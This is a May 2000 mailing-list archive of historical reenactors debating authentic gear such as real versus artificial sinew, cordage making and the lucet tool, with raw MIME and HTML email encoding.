>and have authenic equipement that is durable, comfortable and replaceable?=

>Like alot of you guys, I am a A.M.M. member. and alot of people have =
choosen sides in
>the authenic/ survival debate. I just say why not be both? Make you and =
your equipment the
>best they can be. And know how to do the things necessary to survive, =
maybe even be
>comfortable. I have friends who have Dyer mocs and they love
>them. But if I ever had to replace them while in the mountains
>(it can happen: a horse or mule scatters everything for a mile
>or too, you loose one of them fording a river or maybe a hungry
>coyote comes in camp and steals them) I would have to use
>leather and sinew (or wangs) to make a new pair.
>Every man has their own opinion on this subject- it is kind of
>like the recurve versus stick bow, we won't mention the new
>fangled wheel bows. And different guys like different things
>at different times. But ,doesn't this make a good subject to hammer out =
and make people
>think????
>=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=
=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=
=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0 mike.
>people.
>Bill Cunningham wrote:
>I was watching that antiques roadshow program one time and a
>guy brought in an Indian arrow quiver. It really looked nice
>and he was sure he had a pot of money. But the antique guy
>showed him that it was factory tanned leather, sewed with
>artificial sinew, which he explained was a hi-tech modern
>product. You could see the guy just wither. But it brought to
>mind a couple of questions. In true survival situations, would
>you be able to obtain enough sinew to take care of whatever it
>might be that you'd need it for? Since sinew is typically 12"
>long or less, and splicing it is tricky at best, would you
>carry 15 feet or so in your possibles pouch, or rather,
>perhaps, a small coil of artificial sinew which is infinitely
>long? Historical authenticity is great and a fine goal, but
>what if your life (or in some cases, your budget) depended on it?Bill C
>-----Original Message-----
>From: D Miles <[e-mail] <mailto:[e-mail]>>
>To: [e-mail]
><mailto:[e-mail]><[e-mail]
><mailto:[e-mail]>>
>Date: Tuesday, May 09, 2000 7:32 AM
>Subject: MtMan-List: Artificial Sinew (was saws)
>=A0Boy, I am on a roll now...=A0I also see way to many sutlers out
>there that sell FANTASTIC authentic, documented items in
>various forms.All high quality.... But for some reason, allot
>of them also list "artificial sinew" on their trade
>lists.....GO figger...D=A0=A0"Abair ach beagan is abair gu math e"
>=A0=A0=A0=A0=A0=A0=A0=A0=A0 DOUBLE EDGE FORGE
>=A0 Period Knives & Iron Accoutrements
>=A0=A0 http://www.bright.net/~deforge1 <http://www.bright.net/~deforge1>
>=A0 "Knowing how is just the beginning"


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From: "Ratcliff" <[e-mail]>
Subject: MtMan-List: Date: Tue, 9 May 2000 23:28:15 -0500
Date: 09 May 2000 22:28:28 -0600

This is a multi-part message in MIME format.

------=_NextPart_000_0105_01BFBA0E.3FD511A0
Content-Type: text/plain;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Folks, this has been very interesting.  If I had not worked a 19 hour =
day, including a 660 mile round trip drive to Houston, I might throw in =
my 2 cents worth.  But I am going to bed where I hope I don't dream =
about braziers, nutmeg graters, glue or Democrats.  (I didn't see any =
discussion about Democrats, but I NEVER want to dream about them.)
YMOS
Lanney Ratcliff

------=_NextPart_000_0105_01BFBA0E.3FD511A0
Content-Type: text/html;
    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2014.210" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT size=3D3>Folks, this has been very interesting.  If I =
had not=20
worked a 19 hour day, including a 660 mile round trip drive to Houston, =
I might=20
throw in my 2 cents worth.  But I am going to bed where I hope I =
don't=20
dream about braziers, nutmeg graters, glue or Democrats.  (I didn't =
see any=20
discussion about Democrats, but I NEVER want to dream about =
them.)</FONT></DIV>
<DIV>YMOS</DIV>
<DIV>Lanney Ratcliff</DIV></BODY></HTML>

------=_NextPart_000_0105_01BFBA0E.3FD511A0--


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From: [e-mail]
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 09 May 2000 23:25:57 -0500

Geez. . .  Brass-tack a swastika on the side of one rifle and they never
forget it.
At 11:37 PM 5/9/00 EDT, you wrote:
>I don't know what to tell you purists.  Did any of you guys go to your first
>'voo naked and unarmed until you learned what to wear?  Do you ride in on
>unshod horses?
    For what I did long before I went to my first rendezvous, see
<http://www.xmission.com/~drudy/hist_text-arch/1354.html>.
LongWalker c. du B.


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From: [e-mail]
Subject: Re: MtMan-List:was saw now its cordage
Date: 10 May 2000 00:34:23 -0700

> or tie his fingers up with that stuff.
>
> Buck
>

sure be worse than one of those chinese finger cuff things and I aint
letting the better half read this she might get a idea or two of what she
could tie up and it aint my fingers---NUFF SAID  but speaking of making
cordage---was down at singing rivers a few weeks ago and a lady had a
thing made out of wood---called it a lussette (SP) tool and i watched her
play with it then looked at the cordage---the darn thing makes square
cordage out of one thread---darndedt thing i ever saw---so I set down
with a piece of charcole and scratched out a pattern---the darn thing
really works---works excelent on cotton and flax threads and can be
operated even with crocette threads ---sure makes a strong piece out of
something that will break from the slightest toug---


as I would say its a wonderment---just a pure wonderment---and I figured
out how to start it and make it work---wish there was a like tool to make
round cordage and weave it the same way---


anyone know if there is a tool like the Lussette (SP) tool that will
brade round cordage---

YMHOSANT
HAWK
Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
854 Glenfield Dr.
Palm Harbor florida 34684
E-Mail: [e-mail]   Web site:
http://www.angelfire.com/fl2/mpierce

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From: [e-mail]
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 10 May 2000 01:24:29 -0700

ole---
well put---remember this is a brotherhood here to help each other---NUFF
SAID---CUT the BS---I have been slapped by the period pirots before and
then went back with my documentation and proved them wrong---done my
homework and was 5% smarter---lets get off of this subject all of us know
its a tender one---we aint judgeing brothers---if a brother done wrong he
is told politely and on a one to one basis---each has helped in that
scenario before---I have even went and loaned stuff to a guy to help him
be period correct if i could help him---

lets shake hands and close this one out guys---

YMHOSANT
   =+=
HAWK
Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
854 Glenfield Dr.
Palm Harbor florida 34684
E-Mail: [e-mail]   Web site:
http://www.angelfire.com/fl2/mpierce

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From: [e-mail]
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 10 May 2000 02:13:18 EDT

Reading all these debates about authenticity reminds me of the delightful
"Confederates in the Attic" by Tony Horwitz.  The book chronicles his
adventures while visiting various battlefields, and his involvement with
rabid Civil War reinactors.  These people were so determined to be authentic,
that they actually became competitive over portrayals of "best bloated
battlefield corpse" . Hmm. How could anyone NOT be for authenticity, accuracy
and knowledge?  But at the end of the day, it's good to know I don't have to
bag a possum for my dinner.

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From: Lee Newbill <[e-mail]>
Subject: MtMan-List: Goose Bay Workshops
Date: 09 May 2000 23:19:09 -0700 (PDT)

Hallo...

Just a note to let folks know that Goose Bay's website has moved to:

http://www.goosebayworkshops.com

Your Most Obedient Servant...

Lee Newbill of North Idaho
Clerk of the Hog Heaven Muzzleloaders
www.geocities.com/northscribe


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From: John Kramer <[e-mail]>
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 10 May 2000 03:22:36 -0500

--=====================_61169712==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed

Bill,

I see this differently.

Why would you ever need a strand of sinew much over 12" long?  Nice if you
can get it but 6" works.

Certainly not for sewing, splicing a bowstring is readily done; & sinew is
self gluing when used for serving strings, points and fletchings.

Electrician's shooting line (aka, artificial sinew) is handy in long
lengths -- BUT -- how often do you really need to use it in long
lengths?  If you don't heat weld the knots, they come undone.

For threads, snares, lines and every other kind of such -- many other
materials are useful as cordage, horse hair, bark, intestines, vines,
weeds, hides; all kinds of stuff makes cordage.  In todays mountains no one
is ever very far from a handy hunk of baling wire &/or twine which can
serve many needs, I figure it's fair to use what you find, so much we find
is different.  Field expedient drop spindles can be readily fashioned and
would be a skill a mother would have taught -- those born to the period.

Rawhide and sinew can be made to seize tighter and bind more securely than
any nylon fastening.

How does a coil of nylon improve survivability over a small wad of easily
replaced sinew pieces?  Sinew comes free with meat, guts, hide, bone and
fat; other handy survival items.

At best artificial sinew is a convenience.  It is not demonstrably superior
to real sinew for the purposes for which it is used.  It offers no
particular survival advantage other than convenience.

I've used it but, could never find a real justification for it.  I haven't
been able to find my spool of it (1 spool lasts a lifetime) in better than
15 years now.  Must have figured I wouldn't be needing it when I put it
away last.

I use linen for convenience.  I have a spool of unwaxed 4 strand
twist.  For fine sewing I split lengths to two threads and re-spin the
thread on the turned drop spindle I use at home.  If I need a heavy thread
I untwist and spin together as many strands as is appropriate in lengths
suitable to the work.  You can buy the thread in varying numbers of
strands, in left or right hand twist, on each spool.  I find it easiest to
have one spool of unwaxed (for ease in reworking).  Wax it as you work.

If I need 5, 6, or ? strand -- I make it.  Sewing is slower if the thread
is too long.  36" of thread is only needed when doing a full saddle
stitch.  For all other sewing threads are best cut and used in shorter
lengths.  Use a second thread if needed, the work will progress with
greater ease when the thread isn't getting constantly tangled.

I have a prepared ball of heavily waxed thread (1 1/4" +/- dia., in my
possibles, the little I've needed on the trail has made the one ball last
for years.  I have a small wad of sinew as well for the things it can do
linen and nylon cannot,.

A convenient rock, or stick, or whatever (?) can serve to spin your
thread.  A made drop spindle is nice to have at home.  A spinning wheel is
a higher tech answer to do the same, useful if you really need to make a
lot of thread.

At some point it is instructive to acquire some flax (or any other
spinable/twistable fiber) and try making thread and heavier cordage from
the beginning.  Braiding is another cordage skill.  Spun materials can be
re-spun and/or braided as best suits the work.

Cordage is critical to survival.  From thread to rope the skills acquired
are complimentary and equally necessary.   A set of skills nearly as
important as fire.  Cordage can ease making fire if all you have is wood: a
bow drill is easier to use than a hand drill.

The convenience of artificial sinew is seductive.  Using it risks not
learning all the lessons required for one to be certain.  It is about being
absolutely certain.

John...

Note: the spools of thread I refer to are the large commercial ones about
4" long and 3" in diameter.



At 08:50 AM 5/9/00 -0600, you wrote:
>I was watching that antiques roadshow program one time and a guy brought
>in an Indian arrow quiver. It really looked nice and he was sure he had a
>pot of money. But the antique guy showed him that it was factory tanned
>leather, sewed with artificial sinew, which he explained was a hi-tech
>modern product. You could see the guy just wither. But it brought to mind
>a couple of questions. In true survival situations, would you be able to
>obtain enough sinew to take care of whatever it might be that you'd need
>it for? Since sinew is typically 12" long or less, and splicing it is
>tricky at best, would you carry 15 feet or so in your possibles pouch, or
>rather, perhaps, a small coil of artificial sinew which is infinitely
>long? Historical authenticity is great and a fine goal, but what if your
>life (or in some cases, your budget) depended on it?
>Bill C


Use it up, wear it out, make do, or do without.
John Kramer  <[e-mail]>
--=====================_61169712==_.ALT
Content-Type: text/html; charset="us-ascii"

<html>
<font size=3>Bill,<br>
<br>
I see this differently.<br>
<br>
Why would you ever need a strand of sinew much over 12" long?
Nice if you can get it but 6" works.<br>
<br>
Certainly not for sewing, splicing a bowstring is readily done; &
sinew is self gluing when used for serving strings, points and
fletchings.<br>
<br>
Electrician's shooting line (aka, artificial sinew) is handy in long
lengths -- BUT -- how often do you really need to use it in long
lengths?  If you don't heat weld the knots, they come undone.<br>
<br>
For threads, snares, lines and every other kind of such -- many other
materials are useful as cordage, horse hair, bark, intestines, vines,
weeds, hides; all kinds of stuff makes cordage.  In todays mountains
no one is ever very far from a handy hunk of baling wire &/or twine
which can serve many needs, I figure it's fair to use what you find, so
much we find is different.  Field expedient drop spindles can be
readily fashioned and would be a skill a mother would have taught  --
those born to the period.<br>
<br>
Rawhide and sinew can be made to seize tighter and bind more securely
than any nylon fastening.  <br>
<br>
How does a coil of nylon improve survivability over a small wad of easily
replaced sinew pieces?  Sinew comes free with meat, guts, hide, bone
and fat; other handy survival items.<br>
<br>
At best artificial sinew is a convenience.  It is not demonstrably
superior to real sinew for the purposes for which it is used.  It
offers no particular survival advantage other than
convenience.   <br>
<br>
I've used it but, could never find a real justification for it.  I
haven't been able to find my spool of it (1 spool lasts a lifetime) in
better than 15 years now.  Must have figured I wouldn't be needing
it when I put it away last.<br>
<br>
I use linen for convenience.  I have a spool of unwaxed 4 strand
twist.  For fine sewing I split lengths to two threads and re-spin
the thread on the turned drop spindle I use at home.  If I need a
heavy thread I untwist and spin together as many strands as is
appropriate in lengths suitable to the work.  You can buy the thread
in varying numbers of strands, in left or right hand twist, on each
spool.  I find it easiest to have one spool of unwaxed (for ease in
reworking).  Wax it as you work.  <br>
<br>
If I need 5, 6, or ? strand -- I make it.  Sewing is slower if the
thread is too long.  36" of thread is only needed when doing a
full saddle stitch.  For all other sewing threads are best cut and
used in shorter lengths.  Use a second thread if needed, the work
will progress with greater ease when the thread isn't getting constantly
tangled.<br>
<br>
I have a prepared ball of heavily waxed thread (1 1/4" +/- dia., in
my possibles, the little I've needed on the trail has made the one ball
last for years.  I have a small wad of sinew as well for the things
it can do linen and nylon cannot,.  <br>
<br>
A convenient rock, or stick, or whatever (?) can serve to spin your
thread.  A made drop spindle is nice to have at home.  A
spinning wheel is a higher tech answer to do the same, useful if you
really need to make a lot of thread.<br>
<br>
At some point it is instructive to acquire some flax (or any other
spinable/twistable fiber) and try making thread and heavier cordage from
the beginning.  Braiding is another cordage skill.  Spun
materials can be re-spun and/or braided as best suits the work.<br>
<br>
Cordage is critical to survival.  From thread to rope the skills
acquired are complimentary and equally necessary.   A set of
skills nearly as important as fire.  Cordage can ease making fire if
all you have is wood: a bow drill is easier to use than a hand
drill.<br>
<br>
The convenience of artificial sinew is seductive.  Using it risks
not learning all the lessons required for one to be certain.  It is
about being absolutely certain.<br>
<br>
John...<br>
<br>
Note: the spools of thread I refer to are the large commercial ones about
4" long and 3" in diameter.<br>
<br>
<br>
<br>
At 08:50 AM 5/9/00 -0600, you wrote:<br>
</font><blockquote type=cite cite><font size=2>I was watching that
antiques roadshow program one time and a guy brought in an Indian arrow
quiver. It really looked nice and he was sure he had a pot of money. But
the antique guy showed him that it was factory tanned leather, sewed with
artificial sinew, which he explained was a hi-tech modern product. You
could see the guy just wither. But it brought to mind a couple of
questions. In true survival situations, would you be able to obtain
enough sinew to take care of whatever it might be that you'd need it for?
Since sinew is typically 12" long or less, and splicing it is tricky
at best, would you carry 15 feet or so in your possibles pouch, or
rather, perhaps, a small coil of artificial sinew which is infinitely
long? Historical authenticity is great and a fine goal, but what if your
life (or in some cases, your budget) depended on
it?</font><font size=3><br>
</font><font size=2>Bill
C</font><font size=3></font></blockquote><font size=2><b><br>
</font></b><br>
<div>Use it up, wear it out, make do, or do without.</div>
John Kramer  <[e-mail]>
</html>

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From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List:was saw now its cordage
Date: 10 May 2000 07:40:45 -0400

Hawk,
 Is that "Lucette" thing look like a thick slingshot, sorta? I think I have
seen those in a catalog somewhere, in with the spinning supplies..
I will have to look before I go out to the shop.. Cordage, eh? That IS a
pure wonderment....And square to booot.. Would be fun to bring that square
stuff to a doins and show the Brothers somthing queersome..<G>
D

PS.. It does my heart good to know I can still ruffle feathers good, when I
am a mind to..<BG> And the invitation still goes, I would like to get on the
ground with any one of ya's. ('Cept mebby Pendleton)
D





"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"



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From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 10 May 2000 08:01:44 -0400

BLUELODGE WROTE:
.  Did any of you guys go to your first 'voo naked and unarmed until you
learned what to wear?

Sorry guys, but I ain't turnin'  loose of this one so easy... Mainly cause
it touches raw nerves (my favorite thing)
 As a matter of fact Bluelodge, my wife and I started with chrome tans,
artificial sinew, enough fookin camp eqipment to melt down and recast into a
damned tank and all the trappings of the "typical" skinner. Hell, we were
married "buckskinner style" Me, elk warshirt and pants (bright chrometan,
nylon sewn) Gwen had a white antelope dress, also sewn with nylon and all
the "reservation" bangles and baubles.. And we did this for several years...
And then I started doing some research and things started getting replaced &
pared down..(read: IMPROVE)  and our "kits" got better & better.. Then I met
the fella that sponsered me into the AMM, then it REALLY fell into place.
 Gwen & I are constantly improving our gear, clothing &ct. It doesn't set in
a damned trailer between doins.. We both spend an enormous amount of time
wandering the woods, mts and lakes. SO what we use, works. And what we carry
into a doins (not much) is what we carry when we are 20 miles from the
nearest 2 legged critter. What you see is what you get./
And in hindsight, I sure as hell wish someone would have slapped me upside
the head all those years ago and said, "If you're gonna do this, do it
right, from the start" It sure as hell would have save us a damned ton of
money and frustration as we found out that something wasn't right, and had
to be gotten rid of or replaced.. Lost a lot of $$$ getting rid of stuff.
The amount I could have saved by doing it right the first time probably
would have paid for a brace of matching L&R Caywood smoothie pistols.
So maybe thru all the whining, bitching, and crying "NAZI" of those too
damned lazy or stupid to try to improve their gear, some new fella will take
stock and the "light" will go on.   Then, I will have done for someone
something that I wished would have happened to me along time ago.
D





"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"

----- Original Message -----
Sent: Tuesday, May 09, 2000 11:37 PM


> I don't know what to tell you puristsDo you ride in on
> unshod horses?  I agree that everyone should strive to be authentic but
this
> is supposed to be fun as well as a learning experience.
>
> Y'all argue.  I'll still do as I wish,
>     Bluelodge
>
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From: "D Miles" <[e-mail]>
Subject: MtMan-List: Lucet
Date: 10 May 2000 08:37:32 -0400

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Hawk,
 Found a lucet on the web. I typed "lucet" into Dogpile and came up with =
a boatload of examples, instructions and references... Neat toy!!!!
D


"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"


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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hawk,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2> Found a lucet on the web. I typed =
"lucet"=20
into Dogpile and came up with a boatload of examples, instructions and=20
references... Neat toy!!!!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>D</FONT></DIV>
<DIV> </DIV>
<DIV> </DIV>
<DIV><FONT face=3DArial size=3D2>"Abair ach beagan is abair gu math=20
e"<BR>          DOUBLE EDGE =

FORGE<BR>  Period Knives & Iron Accoutrements<BR>   =
<A=20
href=3D"http://www.bright.net/~deforge1">http://www.bright.net/~deforge1<=
/A><BR> =20
"Knowing how is just the beginning"<BR></FONT></DIV></BODY></HTML>

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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 10 May 2000 07:19:47 -0600

This is a multi-part message in MIME format.

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Wow! Thanks for the information! I am printing this and keeping it. =
Actually, I do carry a small coil of what we called (as kids) and I =
think it still is, squidding line in my pouch. Strange this is, I've =
never really used it. Strong as hell, round woven stuff from the =
fishermen on the coast of Maine. But thanks, John. It sounds like you =
have really worked this stuff out. What do you think of Buck's new =
cordage tool?
Bill
    -----Original Message-----
    From: John Kramer <[e-mail]>
    To: [e-mail] <[e-mail]>
    Date: Wednesday, May 10, 2000 2:30 AM
    Subject: Re: MtMan-List: Artificial Sinew (was saws)
   =20
   =20
    Bill,
   =20
    I see this differently.
   =20
    Why would you ever need a strand of sinew much over 12" long?  Nice =
if you can get it but 6" works.
   =20
    Certainly not for sewing, splicing a bowstring is readily done; & =
sinew is self gluing when used for serving strings, points and =
fletchings.
   =20
    Electrician's shooting line (aka, artificial sinew) is handy in long =
lengths -- BUT -- how often do you really need to use it in long =
lengths?  If you don't heat weld the knots, they come undone.
   =20
    For threads, snares, lines and every other kind of such -- many =
other materials are useful as cordage, horse hair, bark, intestines, =
vines, weeds, hides; all kinds of stuff makes cordage.  In todays =
mountains no one is ever very far from a handy hunk of baling wire &/or =
twine which can serve many needs, I figure it's fair to use what you =
find, so much we find is different.  Field expedient drop spindles can =
be readily fashioned and would be a skill a mother would have taught -- =
those born to the period.
   =20
    Rawhide and sinew can be made to seize tighter and bind more =
securely than any nylon fastening. =20
   =20
    How does a coil of nylon improve survivability over a small wad of =
easily replaced sinew pieces?  Sinew comes free with meat, guts, hide, =
bone and fat; other handy survival items.
   =20
    At best artificial sinew is a convenience.  It is not demonstrably =
superior to real sinew for the purposes for which it is used.  It offers =
no particular survival advantage other than convenience.  =20
   =20
    I've used it but, could never find a real justification for it.  I =
haven't been able to find my spool of it (1 spool lasts a lifetime) in =
better than 15 years now.  Must have figured I wouldn't be needing it =
when I put it away last.
   =20
    I use linen for convenience.  I have a spool of unwaxed 4 strand =
twist.  For fine sewing I split lengths to two threads and re-spin the =
thread on the turned drop spindle I use at home.  If I need a heavy =
thread I untwist and spin together as many strands as is appropriate in =
lengths suitable to the work.  You can buy the thread in varying numbers =
of strands, in left or right hand twist, on each spool.  I find it =
easiest to have one spool of unwaxed (for ease in reworking).  Wax it as =
you work. =20
   =20
    If I need 5, 6, or ? strand -- I make it.  Sewing is slower if the =
thread is too long.  36" of thread is only needed when doing a full =
saddle stitch.  For all other sewing threads are best cut and used in =
shorter lengths.  Use a second thread if needed, the work will progress =
with greater ease when the thread isn't getting constantly tangled.
   =20
    I have a prepared ball of heavily waxed thread (1 1/4" +/- dia., in =
my possibles, the little I've needed on the trail has made the one ball =
last for years.  I have a small wad of sinew as well for the things it =
can do linen and nylon cannot,. =20
   =20
    A convenient rock, or stick, or whatever (?) can serve to spin your =
thread.  A made drop spindle is nice to have at home.  A spinning wheel =
is a higher tech answer to do the same, useful if you really need to =
make a lot of thread.
   =20
    At some point it is instructive to acquire some flax (or any other =
spinable/twistable fiber) and try making thread and heavier cordage from =
the beginning.  Braiding is another cordage skill.  Spun materials can =
be re-spun and/or braided as best suits the work.
   =20
    Cordage is critical to survival.  From thread to rope the skills =
acquired are complimentary and equally necessary.   A set of skills =
nearly as important as fire.  Cordage can ease making fire if all you =
have is wood: a bow drill is easier to use than a hand drill.
   =20
    The convenience of artificial sinew is seductive.  Using it risks =
not learning all the lessons required for one to be certain.  It is =
about being absolutely certain.
   =20
    John...
   =20
    Note: the spools of thread I refer to are the large commercial ones =
about 4" long and 3" in diameter.
   =20
   =20
   =20
    At 08:50 AM 5/9/00 -0600, you wrote:
   =20
        I was watching that antiques roadshow program one time and a guy =
brought in an Indian arrow quiver. It really looked nice and he was sure =
he had a pot of money. But the antique guy showed him that it was =
factory tanned leather, sewed with artificial sinew, which he explained =
was a hi-tech modern product. You could see the guy just wither. But it =
brought to mind a couple of questions. In true survival situations, =
would you be able to obtain enough sinew to take care of whatever it =
might be that you'd need it for? Since sinew is typically 12" long or =
less, and splicing it is tricky at best, would you carry 15 feet or so =
in your possibles pouch, or rather, perhaps, a small coil of artificial =
sinew which is infinitely long? Historical authenticity is great and a =
fine goal, but what if your life (or in some cases, your budget) =
depended on it?
        Bill C
   =20
   =20
   =20
    Use it up, wear it out, make do, or do without.
    John Kramer  <[e-mail]>=20

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    charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>Wow! Thanks for the information! I =
am printing=20
this and keeping it. Actually, I do carry a small coil of what we called =
(as=20
kids) and I think it still is, squidding line in my pouch. Strange this =
is, I've=20
never really used it. Strong as hell, round woven stuff from the =
fishermen on=20
the coast of Maine. But thanks, John. It sounds like you have really =
worked this=20
stuff out. What do you think of Buck's new cordage tool?</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT><FONT =
size=3D2>Bill</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; PADDING-LEFT: =
5px">
    <DIV><FONT face=3DArial size=3D2><B>-----Original =
Message-----</B><BR><B>From:=20
    </B>John Kramer <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]</A>><BR><B>T=
o:=20
    </B><A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
    <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
    </B>Wednesday, May 10, 2000 2:30 AM<BR><B>Subject: </B>Re: =
MtMan-List:=20
    Artificial Sinew (was saws)<BR><BR></DIV></FONT><FONT =
size=3D3>Bill,<BR><BR>I=20
    see this differently.<BR><BR>Why would you ever need a strand of =
sinew much=20
    over 12" long?  Nice if you can get it but 6"=20
    works.<BR><BR>Certainly not for sewing, splicing a bowstring is =
readily=20
    done; & sinew is self gluing when used for serving strings, =
points and=20
    fletchings.<BR><BR>Electrician's shooting line (aka, artificial =
sinew) is=20
    handy in long lengths -- BUT -- how often do you really need to use =
it in=20
    long lengths?  If you don't heat weld the knots, they come=20
    undone.<BR><BR>For threads, snares, lines and every other kind of =
such --=20
    many other materials are useful as cordage, horse hair, bark, =
intestines,=20
    vines, weeds, hides; all kinds of stuff makes cordage.  In =
todays=20
    mountains no one is ever very far from a handy hunk of baling wire =
&/or=20
    twine which can serve many needs, I figure it's fair to use what you =
find,=20
    so much we find is different.  Field expedient drop spindles =
can be=20
    readily fashioned and would be a skill a mother would have taught -- =
those=20
    born to the period.<BR><BR>Rawhide and sinew can be made to seize =
tighter=20
    and bind more securely than any nylon fastening.  <BR><BR>How =
does a=20
    coil of nylon improve survivability over a small wad of easily =
replaced=20
    sinew pieces?  Sinew comes free with meat, guts, hide, bone and =
fat;=20
    other handy survival items.<BR><BR>At best artificial sinew is a=20
    convenience.  It is not demonstrably superior to real sinew for =
the=20
    purposes for which it is used.  It offers no particular =
survival=20
    advantage other than convenience.   <BR><BR>I've used it =
but,=20
    could never find a real justification for it.  I haven't been =
able to=20
    find my spool of it (1 spool lasts a lifetime) in better than 15 =
years=20
    now.  Must have figured I wouldn't be needing it when I put it =
away=20
    last.<BR><BR>I use linen for convenience.  I have a spool of =
unwaxed 4=20
    strand twist.  For fine sewing I split lengths to two threads =
and=20
    re-spin the thread on the turned drop spindle I use at home.  =
If I need=20
    a heavy thread I untwist and spin together as many strands as is =
appropriate=20
    in lengths suitable to the work.  You can buy the thread in =
varying=20
    numbers of strands, in left or right hand twist, on each =
spool.  I find=20
    it easiest to have one spool of unwaxed (for ease in =
reworking).  Wax=20
    it as you work.  <BR><BR>If I need 5, 6, or ? strand -- I make=20
    it.  Sewing is slower if the thread is too long.  36" =
of=20
    thread is only needed when doing a full saddle stitch.  For all =
other=20
    sewing threads are best cut and used in shorter lengths.  Use a =
second=20
    thread if needed, the work will progress with greater ease when the =
thread=20
    isn't getting constantly tangled.<BR><BR>I have a prepared ball of =
heavily=20
    waxed thread (1 1/4" +/- dia., in my possibles, the little I've =
needed=20
    on the trail has made the one ball last for years.  I have a =
small wad=20
    of sinew as well for the things it can do linen and nylon =
cannot,. =20
    <BR><BR>A convenient rock, or stick, or whatever (?) can serve to =
spin your=20
    thread.  A made drop spindle is nice to have at home.  A =
spinning=20
    wheel is a higher tech answer to do the same, useful if you really =
need to=20
    make a lot of thread.<BR><BR>At some point it is instructive to =
acquire some=20
    flax (or any other spinable/twistable fiber) and try making thread =
and=20
    heavier cordage from the beginning.  Braiding is another =
cordage=20
    skill.  Spun materials can be re-spun and/or braided as best =
suits the=20
    work.<BR><BR>Cordage is critical to survival.  From thread to =
rope the=20
    skills acquired are complimentary and equally necessary.   =
A set=20
    of skills nearly as important as fire.  Cordage can ease making =
fire if=20
    all you have is wood: a bow drill is easier to use than a hand=20
    drill.<BR><BR>The convenience of artificial sinew is =
seductive.  Using=20
    it risks not learning all the lessons required for one to be =
certain. =20
    It is about being absolutely certain.<BR><BR>John...<BR><BR>Note: =
the spools=20
    of thread I refer to are the large commercial ones about 4" =
long and=20
    3" in diameter.<BR><BR><BR><BR>At 08:50 AM 5/9/00 -0600, you=20
    wrote:<BR></FONT>
    <BLOCKQUOTE cite type =3D cite><FONT size=3D2>I was watching that =
antiques=20
        roadshow program one time and a guy brought in an Indian arrow =
quiver.=20
        It really looked nice and he was sure he had a pot of money. But =
the=20
        antique guy showed him that it was factory tanned leather, sewed =
with=20
        artificial sinew, which he explained was a hi-tech modern =
product. You=20
        could see the guy just wither. But it brought to mind a couple =
of=20
        questions. In true survival situations, would you be able to =
obtain=20
        enough sinew to take care of whatever it might be that you'd =
need it=20
        for? Since sinew is typically 12" long or less, and =
splicing it is=20
        tricky at best, would you carry 15 feet or so in your possibles =
pouch,=20
        or rather, perhaps, a small coil of artificial sinew which is =
infinitely=20
        long? Historical authenticity is great and a fine goal, but what =
if your=20
        life (or in some cases, your budget) depended on it?</FONT><FONT =

        size=3D3><BR></FONT><FONT size=3D2>Bill C</FONT><FONT=20
    size=3D3></FONT></BLOCKQUOTE><FONT size=3D2><B><BR></FONT></B><BR>
    <DIV>Use it up, wear it out, make do, or do without.</DIV>John =
Kramer =20
    <[e-mail]> </BLOCKQUOTE></BODY></HTML>

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-------------------------------------------------------------------------------

From: [e-mail] (BRUCE S. DE LIS)
Subject: MtMan-List: WNS 2001
Date: 10 May 2000 06:56:15 -0700 (MST)



FYI

Well we got dates, new name, etc.

Start Planning for 2001

Book Mark!!!!!!

http://www.InsideTheWeb.com/mbs.cgi/mb1087119

NMLRA Western National Shoot..

Shot Gunning Events Returning to Ben Avery

Tell your friends...

--
A.K.A.  Penny Pincher




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From: "Susan Gilbert" <[e-mail]>
Subject: Re: MtMan-List:Lucet cordage and round cord
Date: 10 May 2000 09:23:19 -0500 (CDT)

